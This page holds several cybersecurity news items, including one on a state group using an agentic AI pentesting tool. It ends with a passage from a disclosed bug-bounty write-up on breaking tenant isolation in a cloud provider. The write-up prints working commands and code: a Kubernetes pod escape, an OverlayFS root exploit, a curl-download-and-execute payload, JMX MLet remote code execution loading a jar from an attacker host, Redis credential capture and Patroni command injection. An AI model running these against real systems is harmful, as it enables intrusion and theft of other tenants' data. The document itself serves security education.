Tag: Research

  • Google shuts down global botnet running on certified Android devices

    Google and an assortment of partners shut down a botnet that an approved Android device manufacturer purposefully deployed across more than 1.3 million TV set-top boxes, the company said Monday. 

    Videostrong Technology Co., a China-based Android original equipment and device manufacturer, implanted a backdoor into multiple devices it sold. Those backdoors established XCPE, an expansive botnet that cybercriminals used to conduct ad fraud, steal data and route malicious traffic through residential proxy networks, according to a Google Threat Intelligence Group report.

    Google took legal action to shut down the domains and servers Videostrong used to control the botnet. The company also took down command-and-control domains that more than a dozen malware families ran as modules through the XCPE backdoor, claiming it disrupted access to at least 10 million additional compromised devices from various manufacturers.

    Videostrong sold Android devices with pre-installed malware for years, slipping by Google’s security tests by loading the malicious code after the device’s first boot. “The XCPE operators constantly evolved its configurations to evade Google’s pre and post-launch detections,” Charley Snyder, head of disruption operations at GTIG, told CyberScoop.

    Snyder declined to say when or how Google first became aware of the approved vendor running a botnet on Android-powered devices. 

    “We found this malicious software built directly into many different device models and brands over multiple years, supported by dedicated infrastructure and constantly evolving configurations to evade detection and manage their affiliates,” Google researchers wrote in the report. “We believe this campaign wasn’t an isolated rogue insider or a development oversight.”

    Google banned Videostrong and any future subsidiaries from building or selling certified Android devices, and said it changed its review process to detect and stop similar activities in the future. Yet, Snyder said the company isn’t sharing specifics on these changes because it doesn’t want to provide threat actors insights that might help them circumvent these additional protections.

    Most of the devices comprising the XCPE botnet were Android TV set-top boxes, but researchers also observed infected Android-based telehealth devices, karaoke machines and digital signs. 

    “Without users’ knowledge or consent, infected devices were offered as a distribution mechanism for a wide array of criminal actors,” researchers wrote in the report. “This led to a variety of malicious activities being conducted on and through the devices, including ad-fraud, data exfiltration, and routing malicious network traffic through the devices.”

    The botnet spanned more than 170 countries, with the largest concentration of infected devices based in Malaysia, Brazil, Iraq, Mexico and Taiwan, according to TrendAI researchers. Nearly 44,000 infected devices were based in the United States between June and October.

    Google also partnered with Japan’s National Police Agency, Lumen Technologies, Human Security, Plume and Synthient to study and disrupt the botnet. 

    The company said the dismantling of XCPE “seriously impacted over a dozen malicious actors,” yet it warned that the underlying market for backdoors, ad fraud and residential proxy networks are resilient and operating as an interconnected supply chain.

    Source: CyberScoop · 2026-11-02

  • China-backed threat group used agentic AI pentesting tool to compromise 140 sensitive targets in 11 days

    A China state-backed threat group is using ARTEX, the automated agentic AI penetration testing framework, to achieve remarkable speed, scale and success in a campaign that already compromised about 140 sensitive targets in 11 days, according to CrowdStrike. 

    The threat group, which CrowdStrike tracks as Vapor Panda, targeted more than 200 organizations in at least 14 countries since Oct. 17, the security company said in a threat report Thursday. Targets and confirmed victims include foreign ministries, a European country’s presidency and prime minister’s office, defense and intelligence agencies; 19 U.S.-based organizations in the pharmaceutical, semiconductor, defense, nuclear and financial sectors; and telecom providers in the United States, Belgium and the Philippines. 

    CrowdStrike told CyberScoop about 70% of Vapor Panda’s targets were confirmed compromised or had evidence indicating moderate confidence of a successful intrusion. 

    Vapor Panda’s use of ARTEX, paired with DeepSeek, allowed it to accomplish more tasks with shocking speed — requests occurring as often as every 10 seconds — and pursue multiple attack paths concurrently. 

    “This is the first time that we’re seeing an agentic adversary nation-state threat actor at this scale, and I think that this is probably, unfortunately, something we’ll see more of,” Adam Meyers, senior vice president of counter adversary operations at CrowdStrike, told CyberScoop.

    Hands-on-keyboard activity tracked by CrowdStrike for the past 15 years typically involved up to 40 commands per hour. “Now, with ARTEX, we could see it exceed 1,500 commands an hour,” Meyers said.

    “If you diversify that across 200 targets, it costs them very little to run a mass-exploitation campaign and drop a websell,” he added. “They can hit more targets in a faster period of time.”

    Vapor Panda’s broad-access campaign, which remains active, has targeted think tanks and government agencies spanning defense, justice, finance and diplomacy.

    “I would characterize it as a diverse operational mission that tends to focus on sectors and geographies that Beijing considers economically or politically important,” Meyers said.

    The active campaign attributed to Vapor Panda is separate from the ARTEX activity Microsoft Threat Intelligence attributed to Storm-0940 earlier this month, including a supply-chain attack targeting ConnectWise customers. 

    Adversarial use of AI is relatively new, yet also quickly becoming the new normal, Meyers said. “We’re scrambling because we’re seeing so many of these agentic adversaries.”

    Agentic AI use for malicious purposes is growing month-over-month at a rate of almost threefold. CrowdStrike observed roughly 45 agentic adversary attacks in September and it’s already at 126 for October, and climbing.

    Adversarial use of agentic AI isn’t an intractable problem, but rather another reminder that organizations need visibility into their endpoints, identities and cross-domain capabilities, Meyers said. 

    These attacks aren’t showcasing anything new, “it’s just doing it at a speed and scale that we’re unaccustomed to,” he said. “It’s not hopeless, but you’ve got to take action. You can’t put your head in the sand.”

    Source: CyberScoop · 2026-10-30

  • Defense contractor pleads guilty to aiding North Korean remote worker scheme

    A defense contractor with top secret security clearance pleaded guilty to aiding North Korea’s remote worker scheme by allowing co-conspirators to use his identity to apply for jobs, including positions with national security implications, the Justice Department said Wednesday. 

    John Allen Kurrle Jr. participated in a short-lived but prolific conspiracy that spanned at least 88 job applications at U.S.-based companies, resulting in nine job offers, according to court records.

    The 62-year-old allowed co-conspirators to use his identity and government clearance for prospective sensitive work, often with U.S. government contractors. The nine job offers Kurrle’s co-conspirators received between June and October 2025 had annual salary ranges of $120,000 to $190,000.

    The scheme had a limited success rate. The longest and most lucrative job a co-conspirator landed under Kurrle’s identity lasted about three weeks, netting a total pay of $4,800.

    His identity was also used to gain employment as a software engineer at a Ventura, California-based company to work on a generative AI project for a component of the U.S. military. The company sent a laptop to Kurrle’s residence in Gainesville, Virginia, where he received and hosted laptops shipped by multiple victim companies, enabling co-conspirators to remotely access the devices from outside the United States.

    Yet, during a video call to verify employment eligibility, the company noticed that the person who appeared on the video call did not match Kurrle’s age or physical characteristics, according to court records. The unnamed company terminated the employment of Kurrle’s co-conspirator before he did any work on the military contract and Kurrle shipped the laptop back to the company. 

    The company paid Kurrle’s co-conspirator almost $2,200 for 32 hours of onboarding, which Kurrle is now ordered to pay in restitution along with the $4,800 received from the other company. 

    Kurrle also, as part of his plea agreement, admitted to using the identity of a third person, without their consent, to apply for some remote work positions. He doesn’t dispute that the scheme likely benefitted North Korea, but claims he wasn’t aware of the connections to North Korea during the duration of his involvement in the conspiracy.

    Michael Barnhart, nation state investigator at DTEX, said researchers previously identified Kurrle as a facilitator for North Korea’s remote worker scheme. Yet, until recently, he wasn’t sure if Kurrle was a victim or impersonated. 

    The case underscores North Korea’s efforts to gain access to roles with a strategic intelligence requirement, as it focuses on contractor roles because those present the path of least resistance.

    Kurrle joins a growing list of people who have been charged or jailed for supporting the North Korea regime’s scheme that generates hundreds of millions of dollars annually for the country’s military and organizations involved in its weapons programs.

    Authorities have been cracking down on the malicious insider activity by seizing cryptocurrency linked to the theft, and targeting U.S.-based facilitators who provided forged or stolen identities and hosted laptop farms for North Korean operatives. 

    Some of that money is also funneling through a web of front companies and intermediaries, including sanctioned entities, that partly fund Russia’s war effort against Ukraine, DTEX said in a report in July. This includes manufacturing weapons and supplying them to Russia’s military, according to the security firm.

    The countermeasures are stacking up, but the scheme is widespread and has infiltrated an undetermined number of businesses, including hundreds of Fortune 500 companies.

    Federal judges previously sentenced other people to prison for their involvement in the scheme, including Matthew Issac Knoot and Erick Ntekereze Prince; Keija Wang and Zhenxing Wang; Audricus Phagnasay, Jason Salazar and Alexander Paul Travis; Oleksandr Didenko and Christina Chapman. 

    Kurrle pleaded guilty to conspiracy to commit wire fraud and faces up to 20 years in prison upon sentencing, which is currently scheduled for Jan. 28, 2027.

    Source: CyberScoop · 2026-10-30

  • Officials seize domain of top bulletproof hosting provider Virtualine

    Authorities seized the domain of Virtualine, a bulletproof hosting provider that cybercriminals used to commit a large-scale sextortion scheme, ransomware, data theft, malware hosting and money laundering, the Justice Department said Tuesday. 

    Virtualine facilitated prolific criminal activity, including the distribution of child sexual abuse material (CSAM), the Justice Department said. The Russian-speaking bulletproof hosting provider was among the most active this year in crypto-related crime in particular, researchers said. 

    The site and its associated infrastructure stands out among the dozens of bulletproof hosting providers currently tracked by TRM Labs. “It was not among the largest by total inflows, but it received the most illicit-attributed value in 2026 to date,” the blockchain and cryptocrime research firm wrote in a blog post.

    Virtualine received almost one-fifth of all illicit-attributed inflow among bulletproof hosting providers tracked by TRM this year to date.

    A Russian drug marketplace accounted for nearly 44% of the direct payments Virtualine received from customers and attributed counterparties so far this year, according to TRM. A sextortion scheme accounted for nearly 17% of direct payments to Virtualine, followed by a cryptocurrency mixer at almost 13%, ransomware at nearly 5%, cybercrime services at 3% and malware at 2%.

    “Virtualine is another example of Russia’s illicit economy at work: darknet markets, ransomware groups, non-compliant exchanges, and brokers all feeding the same ecosystem,” Ari Redbord, global head of policy at TRM Labs, said in a prepared statement. 

    “Bulletproof hosting is the connective tissue. Seizing a domain matters, but the blockchain record doesn’t disappear with it. It shows who is paying, who is getting paid, and where they go next,” he added. 

    Virtualine attracted many criminals as customers. Ransomware groups, including Coinbase Cartel, The Gentlemen, INC, DragonForce and Qilin all paid the site’s operators, according to TRM. The bulletproof hosting provider also received payments from the StealC infostealer, the Matanbuchu loader, bot and malware-distribution services and sites linked to CSAM. 

    The FBI and prosecutors got a court order to seize Virtualine’s primary domain, which was also known as Secury, Massgod, Spamhouse, Lanedo and Omegatech.

    Officials said Virtualine continued hosting services for a customer that distributed CSAM and a hack-for-hire service after it received numerous notices from law enforcement in Germany, Canada, Australia, the National Center for Missing and Exploited Children and a victim’s attorney.

    TRM underscores that Virtualine was disrupted, but not completely shut down. “A domain seizure disrupts how customers find and access a service,” researchers wrote. “It does not, by itself, establish that the operator has stopped working, or that customers have lost access to all underlying infrastructure.”

    Source: CyberScoop · 2026-10-29

  • Researchers uncover Volt Typhoon’s covert, ephemeral network

    Volt Typhoon, a China-government backed hacking group that has infiltrated America’s critical infrastructure networks for years, has consistently built and dismantled ephemeral malicious infrastructure to burrow into hundreds of sensitive systems undetected, Lumen Technologies’ Black Lotus Labs said in a Wednesday report.

    The covert access operation that researchers call “Silent Train” isn’t a standalone network, but rather a series of compromised small office home office (SOHO) routers, internet of things (IoT) devices and enterprise infrastructure that Volt Typhoon has rapidly rotated through since late 2023. 

    The Chinese threat group has used this chain of short-lived compromised infrastructure to exploit additional vulnerabilities, including zero-days, in network edge devices and gain deeper, persistent access into victim networks, researchers said. 

    “Individual chains are assembled and dismantled every day, with infrastructure continually refreshed,” Michael Horka, principal information security engineer at Black Lotus Labs, told CyberScoop. “Volt Typhoon demonstrated a repeatable capability to rebuild a new chain with different infrastructure in less than two minutes, making the number of nodes at any one moment effectively close to zero.”

    Black Lotus Labs has notified hundreds of victims since it first identified Silent Train activity, including telecom providers, government entities, defense contractors, communication services, universities and IT firms. Other victims spanning critical infrastructure include organizations in the water, energy, transportation, maritime, rail, aviation and emergency services sectors.

    “The ephemeral nature of the framework means our observations should not be interpreted as a complete census of Volt Typhoon activity,” said Horka, who also was the lead researcher on the report.

    The nation-state group’s investment in operational security and preserving access is remarkable, according to Black Lotus Labs.

    “We observed infrastructure assembled in under two minutes, sessions averaging roughly four hours, extensive cleanup, compartmentalization and continued development of new access vectors,” Horka said. “That is considerable effort devoted not even to get into their end targets, but purely to making important operations difficult to discover and trace.”

    Volt Typhoon relied more heavily on Silent Train after the FBI and Justice Department disrupted the KV Botnet in early 2024, researchers said. Earlier this year, U.S. and global authorities warned about a widespread shift in Chinese hacking groups’ use of covert networks riding on compromised common devices.

    The reach of those efforts is extensive and ongoing. Volt Typhoon has exploited and abused more than 27 device classes in Silent Train operations, including edge devices, enterprise management tools, identity and access management systems, networking infrastructure and other technologies. 

    “The diversity matters, but the discipline matters even more,” Horka said. “Specific device types were consistently reserved for particular positions in the chain. It operated less like a collection of randomly compromised devices and more like an organized inventory of capabilities.”

    The threat group has successfully compromised devices and technologies from Fortinet, Cisco, ManageEngine, Ivanti, F5, Check Point, Palo Alto Networks, ServiceNow, TP-Link, Netgear and ArcGIS, researchers said. Black Lotus Labs also observed confirmed zero-day campaigns targeting Versa Director, N-Able N-Central, Cisco Catalyst SD-WAN and VeloCloud Orchestrator. 

    “The exploitation patterns, victimology, and geographic targeting observed throughout our investigation point to a sustained focus on communications, defense, government, and critical infrastructure environments of enduring strategic value,” Black Lotus Labs researchers wrote in the report. “Through repeated targeting of centralized management platforms and control-plane technologies, Silent Train shows how Volt Typhoon systematically pursues and preserves access to some of the most consequential networks in the United States.”

    Silent Train’s ephemerality and operational discipline means it can’t be measured in size. These attributes also make it “fundamentally difficult to disrupt because there isn’t one network to take down,” Horka said. 

    “What exists today will be completely different tomorrow,” he added. “You can try to remove individual pieces, but removing the actor’s ability to continuously rebuild them is a much harder problem to solve.”

    Source: CyberScoop · 2026-10-28

  • An insecure neighbor: how a vulnerability chain led to an isolation bypass in cloud infrastructure

    An insecure neighbor: how a vulnerability chain led to an isolation bypass in cloud infrastructure

    This article is published for educational purposes only, to raise awareness among information security professionals. The research was part of an official bug bounty program on a major platform. We notified the cloud provider about the vulnerabilities in line with our responsible disclosure policy, and all security issues we found were fixed in full. The infrastructure analyzed in this post has been anonymized, so the organization cannot be identified. We believe that regular pentests, bug bounty programs, and conversations between developers and independent researchers are the foundation of security for any IT product.

    Introduction

    Many experts believe that cloud data breaches are mostly the customers’ fault, caused by issues like misconfigured storage or open ports. However, our penetration test of a major cloud provider demonstrated that critical threats can originate within the provider’s own infrastructure.

    This analysis is based on a real-world case that won second place in the System Hacking (Web & Logic) category at Russian Pentest Award 2026. It covers the sequential exploitation of several vulnerabilities and logic errors. Together, they led to critical business consequences and a complete bypass of tenant isolation within the cloud. On October 22, 2026, I presented a technical analysis of this case in my “Smash the Tenant Boundary” talk at Security Analyst Summit (SAS 2026).

    1. Gaining initial access through a managed Kubernetes cluster

    Our cloud infrastructure pentest followed the threat model of an external attacker with the privileges of a regular tenant. The ultimate goal of the attack was to assume full control of the cloud.

    1.1. Escaping the worker node

    First, we created a resource in the cloud’s managed Kubernetes cluster (v1.25.16+k0s.0). As a rule, the provider deliberately withholds SSH access to worker nodes from tenants, because they’re paying for a managed service, not for running servers themselves. In this case, however, the cluster’s security policies did not prevent the creation of privileged pods with access to host namespaces. This enabled us to deploy a pod and switch the execution context to the host machine running the container.

    kubectl run pod-name-bla \
       --image=alpine \
       --restart=Never \
       --overrides='
     {
       "apiVersion": "v1",
       "spec": {
         "hostPID": true,
         "containers": [
           {
             "name": "priv",
             "image": "alpine",
             "command": [ "sh", "-c", "sleep 3600" ],
             "stdin": true,
             "tty": true,
             "securityContext": {
               "privileged": true
             }
           }
         ]
       }
     }'

    After creating the privileged pod, we ran the nsenter command inside the container. It moved the execution context to the host machine:

    nsenter --target 1 --mount --uts --ipc --net --pid – bash

    After this, the bash shell ran on the actual host machine, not inside the container. Because the pod was privileged, we got full root access to the host machine.

    Kubelet configuration and API server address

    Kubelet configuration and API server address

    Next, we analyzed its file system. While researching the data plane, we found a Konnectivity service token. This component provides a tunnel between the control plane and the data plane of a Kubernetes cluster. It was this component that opened up interesting opportunities for developing the attack.

    Konnectivity service account token

    Konnectivity service account token

    1.2. Analysis of control plane services

    After gaining access to the host machine (the worker node mentioned earlier), we analyzed its network interfaces: the user VPC and the Calico interfaces. We extracted the kube-apiserver address (192.168.0.4) from the kubelet configuration file. A subsequent scan of this address revealed the following open ports:

    192.168.0.4:9443 open https status=404
    192.168.0.4:2380 open
    192.168.0.4:6443 open http status=400
    192.168.0.4:8132 open
    192.168.0.4:9100 open http status=200 title="Node Exporter"
    192.168.0.4:9308 open http status=200 title="kube-state-metrics"

    Of greatest interest is port 8132, where Konnectivity runs. This service creates a reverse tunnel between the control plane and the data plane so that the data plane is visible from the control plane. This allows management components to communicate with worker nodes, even behind a NAT. The Konnectivity token found earlier granted permission to interact with this service.

    Interaction diagram between control plane and data plane via Konnectivity

    1.3. Exploiting Konnectivity

    To analyze the service on port 8132, we deployed a local test environment. We found that v1.25.16+k0s.0 uses a fork of konnectivty-server, inherited from apiserver-network-proxy in the original Kubernetes.

    A quick primer on k0s: this is a minimalist Kubernetes distribution designed for cloud providers. It’s a convenient base for deploying managed clusters (mk8s) with minimal resource overhead. An important feature of k0s is that running user pods on control plane nodes (also known as master nodes) is disabled by default. This meets mk8s security requirements for control plane isolation.

    Port 8132, mentioned above, hosts AgentService, which provides a single method: Connect. This method accepts a Packet stream.

    service AgentService {
      rpc Connect(stream Packet) returns (stream Packet) {}
    }

    The code revealed an interesting detail: when AgentService receives a packet of the type DIAL_REQ from a worker node, the server calls the net.Dial() function on the control plane side. The packet structure for the Connect method looks like this:

    //apiserver-network-proxy/konnectivity-client/proto/client/client.proto:26
    enum PacketType {
      DIAL_REQ = 0;
      DIAL_RSP = 1;
      ...
    }
    
    message Packet {
      PacketType type = 1;
    
      oneof payload {
        DialRequest dialRequest = 2;
        DialResponse dialResponse = 3;
        Data data = 4;
        CloseRequest closeRequest = 5;
        CloseResponse closeResponse = 6;
        CloseDial closeDial = 7;
      }
    }
    
    message DialRequest {
        // tcp or udp?
        string protocol = 1;
        // node:port
        string address = 2;
        // random id for client, maybe should be longer
        int64 random = 3;
    }

    The server reads any Packet packets from the stream initiated by the agent (worker node):

    //apiserver-network-proxy/pkg/server/server.go:721
    in, err := stream.Recv()
    ...
    recvCh <- in

    Next, the packets go to the backend manager:

    //apiserver-network-proxy/pkg/server/server.go:748
    
    func (s *ProxyServer) serveRecvBackend(...) {
        for pkt := range recvCh {
            switch pkt.Type {

    Then comes the most interesting part:

    //apiserver-network-proxy/pkg/server/server.go:888
    
    case client.PacketType_DIAL_REQ:
        req := pkt.GetDialRequest()
        klog.V(5).InfoS("Received DIAL_REQ", "target", req.Address)
        s.handleDialRequest(pkt, backend)

    In other words, a DIAL_REQ that comes from the agent (worker node) was considered valid and passed to the packet handler for the corresponding type (DIAL_REQ).

    //apiserver-network-proxy/pkg/server/server.go:921
    func (s *ProxyServer) handleDialRequest(pkt *client.Packet, backend Backend) {
      ...
      dialReq := pkt.GetDialRequest()
      resp.GetDialResponse().Random = dialReq.Random
    
      start := time.Now()
      conn, err := net.Dial(dialReq.Protocol, dialReq.Address) // we control proto and address

    This created an SSRF primitive in the control plane context, which made it possible to reach not only network resources but also host UNIX sockets. D-Bus (- /run/dbus/system_bus_socket) was chosen as a promising target for interaction. The busctl utility revealed the following services available on the control plane:

    org.freedesktop.DBus
     org.freedesktop.PackageKit
     org.freedesktop.PolicyKit1
     org.freedesktop.login1
     org.freedesktop.systemd1
     com.ubuntu.SoftwareProperties

    Using the org.freedesktop.DBus.GetConnectionCredentials method with a custom D-Bus client we wrote on top of github.com/godbus/dbus/v5, we were able to retrieve the UID of the current process. In this case, it was 997. Unfortunately, it wasn’t root, which means we couldn’t instantly start a system service in systemd. However, it was still possible to create a user service (system –user). To do this, we first enabled lingering for our UID:

    busctl --address=unix:path=/tmp/master-dbus.sock \
      call org.freedesktop.login1 \
           /org/freedesktop/login1 \
           org.freedesktop.login1.Manager \
           SetUserLinger ubb 997 true false

    The following sockets were then opened:

    /run/user/997/bus
     /run/user/997/systemd/private (this socket is the equivalent of running commands through systemctl --user.)

    Through this new socket, we called the StartTransientUnit method of the org.freedesktop.systemd1.Manager service:

    StartTransientUnit(
      name: string,
      mode: string,
      properties: a(sv),
      aux: a(sa(sv))
    ) -> job object path

    The properties parameter is exactly where you pass the standard systemd service definition directives. We added the following line:

    ExecStart=/bin/sh -c "bash -lc 'curl ip:port/payload -o /tmp/love;chmod +x /tmp/love; setsid /tmp/love '"

    As a result, we successfully received a callback from the control plane.

    Konnectivity-server context and node network interfaces

    Konnectivity-server context and node network interfaces

    Mirantis, the company behind the k0s project, confirmed the vulnerability.

    1.4. Privilege escalation on the host

    Since konnectivity-server runs with limited privileges by default, the next step after achieving RCE on the control plane was to escalate those privileges. An analysis of processes on the control plane node revealed a running salt-minion service. Root privileges allow authentication in salt-minion as that minion and further attacks against it (more on that later).

    In our case, the target host ran Ubuntu 22.04 with kernel version 5.15.x. Because user namespaces were enabled, a known bug in OverlayFS offered a viable path to privilege escalation: it allows a file to retain the cap_setuid+eip capabilities after namespace manipulation.

    To exploit the vulnerability, a copy of the python3 interpreter was created with the setuid capability set, which made it possible to gain root privileges.

    rm -rf /tmp/lpe
    mkdir /tmp/lpe
    cd /tmp/lpe
    
    unshare -rm sh -c '
     mkdir l u w m &&
     cp /usr/bin/python3 l/ &&
     chmod 755 l/python3 &&
     setcap cap_setuid+eip l/python3 &&
     mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
     touch m/*
    '
    getcap /tmp/lpe/u/python3
    /tmp/lpe/u/python3 -c 'import os; os.setuid(0); os.system("id; /bin/sh")'
    Confirmation of command execution with root privileges

    Confirmation of command execution with root privileges

    Gaining root privileges opened up several interesting attack vectors:

    1. We discovered an eth2 interface on the 100.64.0.0/10 subnet on the host. The cloud’s overlay network turned out to be flat, providing visibility into all managed services.
    2. The system stored a salt-minion key pair. This significantly expands the attack surface by providing access to the managed cloud’s own control plane through SaltStack.

    2. Adventures in the overlay network

    2.1. Victoria stack

    An examination of network activity within the managed resource immediately yielded interesting results. Traffic analysis revealed requests from a specific IP address to collect node metrics from our kube-state-metrics instance in mk8s. The IP address turned out to belong to a metrics collector, one of the VictoriaMetrics instances serving numerous managed resources. Like Prometheus, the VictoriaMetrics API exposes a list of targets from which it collects metrics.

    When we queried the http://100.64.13.37:8429/api/v1/targets endpoint, we found that each target’s labels contained valuable metadata:

    "discoveredLabels": {
               "__address__": "http://100.64.1.1:6897/metrics",
               "__meta_url": "CENSORED",
               "__metrics_path__": "/metrics",
               "__scheme__": "http",
               "__scrape_interval__": "2m0s",
               "__scrape_timeout__": "2m0s",
               "cluster_id": "676767",
               "customer": "customerID",
               "job": "http",
               "profile": "kubernetes",
               "vds_id": "1337",
               "version": "1.0"
             }

    It’s worth noting that a single VictoriaMetrics query returns a full list of control plane hosts that belong to other cloud tenants. Port 6897 indicates that the kube-state-metrics exporter is running, and the profile: kubernetes field further confirms the target type at this address.

    We found another host from the Victoria ecosystem on the same network: VictoriaLogs. The service’s web interface on port 9428 also exposes API endpoints that can reveal sensitive data. For example, the /select/logsql/query endpoint allowed unauthorized access to all logs from any managed resource in the cloud.
    Analysis of the control plane logs for mk8s revealed a critical detail: the cloud-init scripts generated private SSH keys for the root account by default. These keys were printed to stdout and automatically saved in the shared system logs.

    Correlating certain label values from VictoriaMetrics helped us reconstruct the target host’s original names. This makes it easier to filter data in VictoriaLogs and unambiguously match a compromised private key to the target node where it can be used.

    Private SSH key in a VictoriaLogs record

    Private SSH key in a VictoriaLogs record

    We could use the compromised private key for a privileged account to connect to the target nodes over SSH and gain full control of other tenants’ clusters.

    Process privileges on the host and available actions in Kubernetes

    Process privileges on the host and available actions in Kubernetes

    Logs from other types of services could likely reveal additional sensitive data that would further increase the impact.

    2.2. Compromising managed Kafka instances

    We explored the option to deploy managed Apache Kafka resources. As expected, we also found these instances on the flat overlay network. One Kafka host had port 9999 open, which turned out to be a JMX Registry.

    Discovered Java RMI service on port 9999

    Discovered Java RMI service on port 9999

    The JMX Registry mechanism is inherently vulnerable: it returns an RMI stub-host to the calling client, which allows remotely loading an arbitrary custom MBean class and executing arbitrary code. We ran an nmap -sC scan against the registry port to identify the exact port of the RMI service we would interact with next. To carry out the attack, we prepared a set of Java scripts with the following structure:

    • JmxCreateMBean.java: connects to the JMX Registry and creates an MBean component, javax.management.loading.MLet (a class that loads classes from a specified URL).
    • JmxInvoke.java: invokes the selected MBean method through the JMX Registry.
    • ExecMBean.java and Exec.java a custom lightweight test MBean component with a run(String cmd) method that provides an interface for remote command execution.

    The code that handles the connection and initialization of the MBean component looks like this:

    //JmxCreateMBean.java
    ...
    import javax.management.remote.JMXConnector;
    import javax.management.remote.JMXConnectorFactory;
    import javax.management.remote.JMXServiceURL;
    
    public class JmxCreateMBean {
        private static final class RewritingSocketFactory extends RMISocketFactory {
            private final String fromHost;
            private final String toHost;
    
            RewritingSocketFactory(String fromHost, String toHost) {
                ...
            }
    
            @Override
            public Socket createSocket(String host, int port) throws IOException {
                ...
            }
    
            @Override
            public ServerSocket createServerSocket(int port) throws IOException {
                ...
            }
        }
    
        public static void main(String[] args) throws Exception {
            ...
            RMISocketFactory.setSocketFactory(new RewritingSocketFactory(args[2], args[3]));
            String url = String.format("service:jmx:rmi:///jndi/rmi://%s:%s/jmxrmi", args[0], args[1]);
    
            try (JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(url), new HashMap<>())) {
                var mbsc = connector.getMBeanServerConnection();
                try {
                    ObjectInstance created = mbsc.createMBean(args[4], new ObjectName(args[5]));
                    System.out.println("CREATED " + created.getObjectName() + " " + created.getClassName());
                } catch (InstanceAlreadyExistsException e) {
                    System.out.println("EXISTS " + args[5]);
                }
            }
        }
    }

    Below is the implementation of the malicious Exec.java class, which provides methods to execute shell commands and read and write files with Base64 encoding:

    // Exec.java
    import java.nio.charset.StandardCharsets;
    import java.nio.file.Files;
    import java.nio.file.Path;
    import java.util.Base64;
    
    public class Exec implements ExecMBean {
        @Override
        public String run(String cmd) throws Exception {
            Process p = new ProcessBuilder("/bin/sh", "-c", cmd).redirectErrorStream(true).start();
            byte[] out = p.getInputStream().readAllBytes();
            int rc = p.waitFor();
            return "rc=" + rc + "\n" + new String(out, StandardCharsets.UTF_8);
        }
    
        @Override
        public String getB64(String path) throws Exception {
            return Base64.getEncoder().encodeToString(Files.readAllBytes(Path.of(path)));
        }
    
        @Override
        public String putB64(String path, String b64) throws Exception {
            byte[] data = Base64.getDecoder().decode(b64);
            Files.write(Path.of(path), data);
            return "wrote " + data.length + " bytes";
        }
    }

    After compiling our custom MBean, we place the resulting JAR file on a remote web server and prepare an mlet.html configuration file so the target server can load it.

    <html>
    <mlet code="Exec" archive="execmbean.jar" name="payload:type=Exec"></mlet>
    </html>

    We then perform the following steps:

    1. Create a standard MLet loader inside the Kafka JVM.
    2. Load the malicious MBean onto the target server by calling the getMBeansFromURL method of the standard MLet component (DefaultDomain:type=MLet). The URL of the prepared file is passed as an argument: http://attacker_ip:8000/mlet.html.
    3. Call the run(String cmd) method of the loaded MBean to achieve RCE on the host.
    Kafka process context and node network interfaces

    Kafka process context and node network interfaces

    This attack vector was possible because the RMI stub host, which security standards require to be bound only to the loopback interface (127.0.0.1), was mistakenly exposed to the cloud’s shared overlay network.

    2.3. Credential leakage through redis-exporter

    The next step was to analyze hosts running managed Redis instances. Alongside the main port 6379 used by Redis, each host had a redis exporter service on port 9121. Analysis of its source code revealed a logic vulnerability in how the target parameter was handled:

    //redis_exporter/exporter/http.go:47
    func (e *Exporter) scrapeHandler(w http.ResponseWriter, r *http.Request) {
      target := r.URL.Query().Get("target")
    ...
    
      if !strings.Contains(target, "://") {
        target = "redis://" + target
      }
    
      u, err := url.Parse(target)
    ...
    
      opts := e.options
    ...
      _, err = NewRedisExporter(target, opts)
    ...

    Essentially, the /scrape handler accepts an arbitrary target parameter and attempts to collect metrics from that target with the same credentials the exporter uses to connect to its primary Redis instance. Directing a redis exporter request to an attacker-controlled host, such as one running nc -nvlp 6379, makes it possible to intercept the following credentials:

    http://<redis_expoter_host>:9121/scrape?target=<fake_redis_server>
    AUTH command in an intercepted Redis request

    AUTH command in an intercepted Redis request

    The captured credentials allowed access to other customers’ Redis instances to read, modify, or delete stored data.

    Diagnostic information of the Valkey instance

    Diagnostic information of the Valkey instance

    (Note. A Redis RCE vulnerability was disclosed during the research. Combined with the access obtained, it made it possible to fully compromise other tenants’ services).

    2.4. Compromise of managed PostgreSQL (Patroni) clusters

    The PostgreSQL DBMS is one of the most popular managed resources alongside mk8s. The next step was therefore to analyze PostgreSQL hosts in the overlay network. Scanning nodes with the PostgreSQL port (5432) open revealed related services on ports 2379 (an etcd distributed store) and 8008 (Patroni REST API). While the Patroni REST API required authentication, access to etcd was completely unrestricted. Analysis of the contents of etcd revealed a critical key, /v2/keys/service/pg-cluster/config, which contained the Patroni configuration.

    Patroni configuration in etcd

    Patroni configuration in etcd

    {
      "ttl": 30,
      "loop_wait": 10,
      "retry_timeout": 10,
      "maximum_lag_on_failover": 1048576,
      "postgresql": {
        "use_pg_rewind": true,
        "parameters": {
          "archive_command": "id",
          "archive_mode": "always",
          "max_connections": 550,
          "max_locks_per_transaction": 512,
          "max_worker_processes": 27
        }
      }
    }

    Write access to this configuration file allows an attacker to set archive_command to a command of their choice and achieve RCE on the target host when the archiving process starts. To avoid waiting for the WAL to fill up through normal activity, a way was found to force archiving even with minimal access privileges:

    Update the Patroni configuration with the modified archive_command:

    curl -s -X PUT http://localhost:2379/v2/keys/service/<CLUSTER_NAME>/config -d value="$(jq -c . config.json)" | jq

    Update the configuration again to add the standby_cluster parameter:

    {
    "ttl": 30,
    "loop_wait": 10,
    "retry_timeout": 10,
    "maximum_lag_on_failover": 1048576,
    "postgresql": {
     "use_pg_rewind": true,
     "parameters": {
       "archive_command": "rce",
       "archive_mode": "on",
       "archive_timeout": "10",
       "max_connections": 550,
       "max_locks_per_transaction": 512,
       "max_worker_processes": 27
     }
    },
    "standby_cluster": {
     "host": "192.0.2.1",
     "port": 5432
    }
    }

    After this parameter is applied, Patroni detects a role conflict for the current primary. The logs show a sequence similar to the following:

    cannot be a real primary in standby cluster  
    Demoting self (demote-cluster)  
    received fast shutdown request  
    checkpoint starting: shutdown immediate

    Postgres then restarts, and the archiving process runs and executes the injected command:

    PostgreSQL process context and node network interfaces

    PostgreSQL process context and node network interfaces

    This makes it possible to log in to other tenants’ Postgres DBMS instances and gain full control over the data. As an additional risk factor, files containing credentials for access to S3 storage were found on these hosts.

    Database and S3 access parameters in a backup file

    Database and S3 access parameters in a backup file

    This storage holds backups not only of the current instance but also of all other databases in the cloud.

    List of backup storage locations in S3

    List of backup storage locations in S3

    3. Attack on SaltStack management infrastructure

